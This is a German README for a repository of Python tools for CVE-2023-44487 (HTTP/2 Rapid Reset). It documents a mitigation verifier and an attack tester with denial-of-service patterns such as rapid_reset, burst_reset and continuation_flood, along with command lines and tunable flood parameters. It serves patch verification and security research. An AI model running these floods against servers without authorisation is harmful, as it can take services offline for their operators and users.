
Ein umfassendes Python-Testwerkzeug für CVE-2023-44487, die HTTP/2 Rapid Reset-Schwachstelle. Diese erweiterte Version bietet detaillierte Kontrolle über Testparameter, mehrere Angriffsmuster und erweiterte Überwachungsfunktionen.
Ein umfassendes Python-Testwerkzeug für CVE-2023-44487, die HTTP/2-Rapid-Reset-Schwachstelle. Dieses Repository enthält sowohl Tools für Angriffstests als auch für die Überprüfung.
Dieses Tool ist NUR für Bildungszwecke und autorisierte Tests bestimmt!
CVE-2023-44487, auch bekannt als „HTTP/2 Rapid Reset", ist eine kritische Schwachstelle im HTTP/2-Protokoll, die es Angreifern ermöglicht:
CVSS-Score: 7.5 (Hoch)
Auswirkung: Denial of Service, Ressourcenerschöpfung
h2-Bibliothek: pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Should be 3.7+
cve_2023_44487_verifier_enhanced.pyZweck: Erkennung von Durchsetzungssignalen für Überprüfungen nach Patch-Einsatz und Compliance-Prüfungen
# Basisüberprüfung
python3 cve_2023_44487_verifier_enhanced.py target.com
# Mehrere gleichzeitige Verbindungen
python3 cve_2023_44487_verifier_enhanced.py target.com -c 5 -s 500
# Ausführliche Ausgabe mit Debugging
python3 cve_2023_44487_verifier_enhanced.py target.com -v -c 3 -s 1000
# Nur Baseline-Test (normale Anfragen)
python3 cve_2023_44487_verifier_enhanced.py target.com --baseline-only
| Option | Beschreibung | Standard |
|---|---|---|
host | Ziel-Hostname (erforderlich) | - |
-p, --port | Ziel-Port | 443 |
--no-ssl | SSL/TLS deaktivieren | False (SSL aktiviert) |
-s, --streams | Anzahl Streams pro Verbindung | 1000 |
-d, --delay | Verzögerung zwischen Stream-Operationen (Sekunden) | 0.001 |
-c, --connections | Anzahl gleichzeitiger Verbindungen | 1 |
--baseline-only | Nur Baseline-Test durchführen (kein Angriff) | False |
-v, --verbose | Ausführliche/Debug-Ausgabe | False |
Das Skript gibt eine intelligente Bewertung basierend auf RFC 9113-konformen Durchsetzungssignalen:
Server sendet GOAWAY mit Fehlercode ENHANCE_YOUR_CALM (0xb)
Klassifizierung: NICHT VERWUNDBAR — Durchsetzung auf Protokollebene aktiv
Bedeutung: HTTP/2-Implementierung verfügt über angemessene Ratenbegrenzungssteuerungen
50%+ der Verbindungen wurden über TCP-Reset beendet
Klassifizierung: WAHRSCHEINLICH GESCHÜTZT — mit Edge-/Infrastrukturteam bestätigen
Bedeutung: Edge-Appliance oder DDoS-Schutz hat auf Transportschicht eingegriffen
Reset-Rate pro Sekunde sinkt im Laufe der Zeit erheblich (späte Buckets <60% der frühen)
Klassifizierung: TEILWEISER SCHUTZ — mit Infrastrukturteam bestätigen
Bedeutung: Server oder Edge bremst den Angriff adaptiv
Server sendet REFUSED_STREAM (0x7)-Antworten
Klassifizierung: TEILWEISER SCHUTZ — Ratenbegrenzungen prüfen
Bedeutung: Einige Ratenbegrenzungen auf Stream-Ebene vorhanden
Kein ENHANCE_YOUR_CALM GOAWAY, keine TCP-Resets, keine Drosselung erkannt
Klassifizierung: ANGRIFFSVEXTOR AUSFÜHRBAR — Ausnutzbarkeit nicht bestätigt
Wichtig: Dies beweist keine DoS-Ausnutzbarkeit. Volumetrische/verhaltensbasierte
Edge-Schutzmaßnahmen (Akamai, CloudFlare) können bei höheren Skalen eingreifen
============================================================
ENFORCEMENT SIGNAL ANALYSIS
============================================================
Server SETTINGS (initial frame):
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 is conservative (good post-CVE default)
GOAWAY breakdown across connections:
ENHANCE_YOUR_CALM (0xb): 3/5
Other GOAWAY codes: 1/5
No GOAWAY received: 1/5
TCP reset (RST at transport): 0/5
Total RST_STREAM frames from server: 2
REFUSED_STREAM frames from server: 0
Connections showing adaptive throttling: 1/5
============================================================
VERDICT
============================================================
✅ ENFORCEMENT CONFIRMED
3/5 connection(s) received GOAWAY with ENHANCE_YOUR_CALM (0xb).
This is the canonical signal that the CVE-2023-44487 mitigation is active.
Classification: NOT VULNERABLE — protocol-layer enforcement is engaged.
# Patch-Bereitstellung mit 10 Verbindungen, 500 Streams pro Verbindung überprüfen
python3 cve_2023_44487_verifier_enhanced.py prod-api.example.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Nicht standardmäßigen HTTPS-Port testen
python3 cve_2023_44487_verifier_enhanced.py example.com \
-p 8443 \
-c 5 \
-s 1000
# Minimaler Last-Compliance-Test
python3 cve_2023_44487_verifier_enhanced.py example.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM (Fehlercode 0xb):
REFUSED_STREAM (Fehlercode 0x7):
Reset-Rate-Analyse pro Sekunde:
TCP RST in der Transportschicht:
| Schließungsgrund | Bedeutung |
|---|---|
goaway_enhance_your_calm | GOAWAY 0xb empfangen (bester Indikator für CVE-Fix) |
goaway_* | GOAWAY mit anderem Fehlercode |
tcp_reset | TCP RST empfangen (Eingriff auf Edge-Ebene) |
broken_pipe / recv_error | Verbindungsfehler während der Kommunikation |
eof_no_goaway | Unerwartetes EOF ohne GOAWAY |
no_close_no_enforcement | Verbindung blieb offen (keine Durchsetzung erkannt) |
import asyncio
import subprocess
def run_verification(target: str, num_connections: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
target,
'-c', str(num_connections),
'-s', '500',
'-v'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse verdict from output
if "ENFORCEMENT CONFIRMED" in result.stdout:
print(f"✅ {target} is protected")
return "protected"
elif "LIKELY PROTECTED" in result.stdout:
print(f"⚠️ {target} has edge-level protection")
return "edge_protected"
else:
print(f"❌ {target} shows no enforcement")
return "vulnerable"
# Run test
status = run_verification("example.com", 5)
#!/bin/bash
# Monitor critical services weekly
TARGETS="api.example.com web.example.com cdn.example.com"
LOG_DIR="/var/log/cve-2023-44487"
mkdir -p "$LOG_DIR"
for target in $TARGETS; do
python3 cve_2023_44487_verifier_enhanced.py "$target" \
-c 3 \
-s 500 \
-v > "$LOG_DIR/$target-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.pyZweck: Umfassende HTTP/2-Rapid-Reset-Angriffstests mit mehreren Mustern
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| Option | Beschreibung | Standard |
|---|---|---|
-c, --connections N | Anzahl gleichzeitiger Verbindungen | 1 |
--connection-timeout SEC | Verbindungs-Timeout in Sekunden | 10 |
--read-timeout SEC | Read-Timeout für Antworten | 5 |
--connection-delay SEC | Verzögerung zwischen Verbindungen | 0.0 |
| Option | Beschreibung | Standard |
|---|---|---|
-r, --requests N | Anfragen pro Verbindung | 100 |
--delay SEC | Verzögerung zwischen HEADERS und RST_STREAM | 0.001 |
--request-delay SEC | Verzögerung zwischen Anfragen | 0.0 |
--jitter FACTOR | Zufallsfaktor für Timing | 0.0 |
| Option | Beschreibung | Standard |
|---|---|---|
--pattern TYPE | Zu verwendendes Angriffsmuster | rapid_reset |
--burst-size N | Anfragen pro Burst | 10 |
--burst-delay SEC | Verzögerung zwischen Bursts | 0.1 |
Verfügbare Muster:
rapid_reset - Standard-Rapid-Reset-Angriffburst_reset - Burst-basierte Angriffegradual_reset - Allmählich steigende Raterandom_reset - Zufälliges Timingcontinuation_flood - CONTINUATION-Frame-Floodmixed_pattern - Mischung von Mustern| Option | Beschreibung | Standard |
|---|---|---|
--window-size BYTES | HTTP/2-Initial-Fenstergröße | 65535 |
--frame-size BYTES | Max. Framegröße | 16384 |
--header-table-size BYTES | HPACK-Header-Tabellengröße | 4096 |
--enable-push | HTTP/2-Server-Push aktivieren | False |
--rst-error-code CODE | RST_STREAM-Fehlercode | 8 |
| Option | Beschreibung | Standard |
|---|---|---|
--output FORMAT | Ausgabeformat | console |
--output-file FILE | Ausgabedateiname | automatisch generiert |
--verbose, -v | Ausführliche Ausgabe | False |
--debug | Debug-Protokollierung | False |
--log-file FILE | In Datei protokollieren | None |
Verfügbare Ausgabeformate:
console - Für Menschen lesbare Konsolenausgabejson - Maschinenlesbares JSONcsv - Tabellenkalkulationskompatibles CSVxml - Strukturiertes XML-FormatDas Tool bewertet automatisch die Anfälligkeit:
„No module named 'h2'"
pip install h2
Verbindung abgelehnt / Timeout
curl -I --http2 https://target.comImportError mit h2-Modulen
pip install --upgrade h2
python3 --version # Must be 3.7+
Permission denied
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py target.com
Ausführliche Protokollierung aktivieren:
python3 cve_2023_44487_verifier_enhanced.py target.com -v
Mit minimalen Parametern testen:
python3 cve_2023_44487_verifier_enhanced.py target.com -s 10 -c 1
HTTP/2-Unterstützung überprüfen:
python3 -c "import h2; print('h2 library OK')"
Dieses Repository richtet sich an Cybersicherheitsexperten, Forscher und Systemadministratoren, die ihre eigenen Systeme oder Systeme, für die sie eine ausdrückliche Genehmigung haben, testen möchten.
Wichtige rechtliche Punkte:
Denken Sie daran: Mit großer Macht kommt große Verantwortung. Nutzen Sie diese Tools ethisch und legal.
Dieses Tool wird unter der MIT-Lizenz bereitgestellt. Details finden Sie in der LICENSE-Datei.
| Anwendungsfall | Tool | Grund |
|---|---|---|
| Überprüfung nach Patch-Einsatz | cve_2023_44487_verifier_enhanced.py | Erkennt Durchsetzungssignale |
| Compliance-Prüfung | cve_2023_44487_verifier_enhanced.py | Validiert CVE-Mitigation |
| Infrastrukturbewertung | cve_2023_44487_verifier_enhanced.py | Klare, handlungsorientierte Bewertungen |
| Angriffsforschung | rapid_reset_test.py | Mehrere Angriffsmuster |
| Leistungstests | rapid_reset_test.py | Umfassende Metriken |
| Benutzerdefinierte Muster | rapid_reset_test.py | Feingranulare Konfiguration |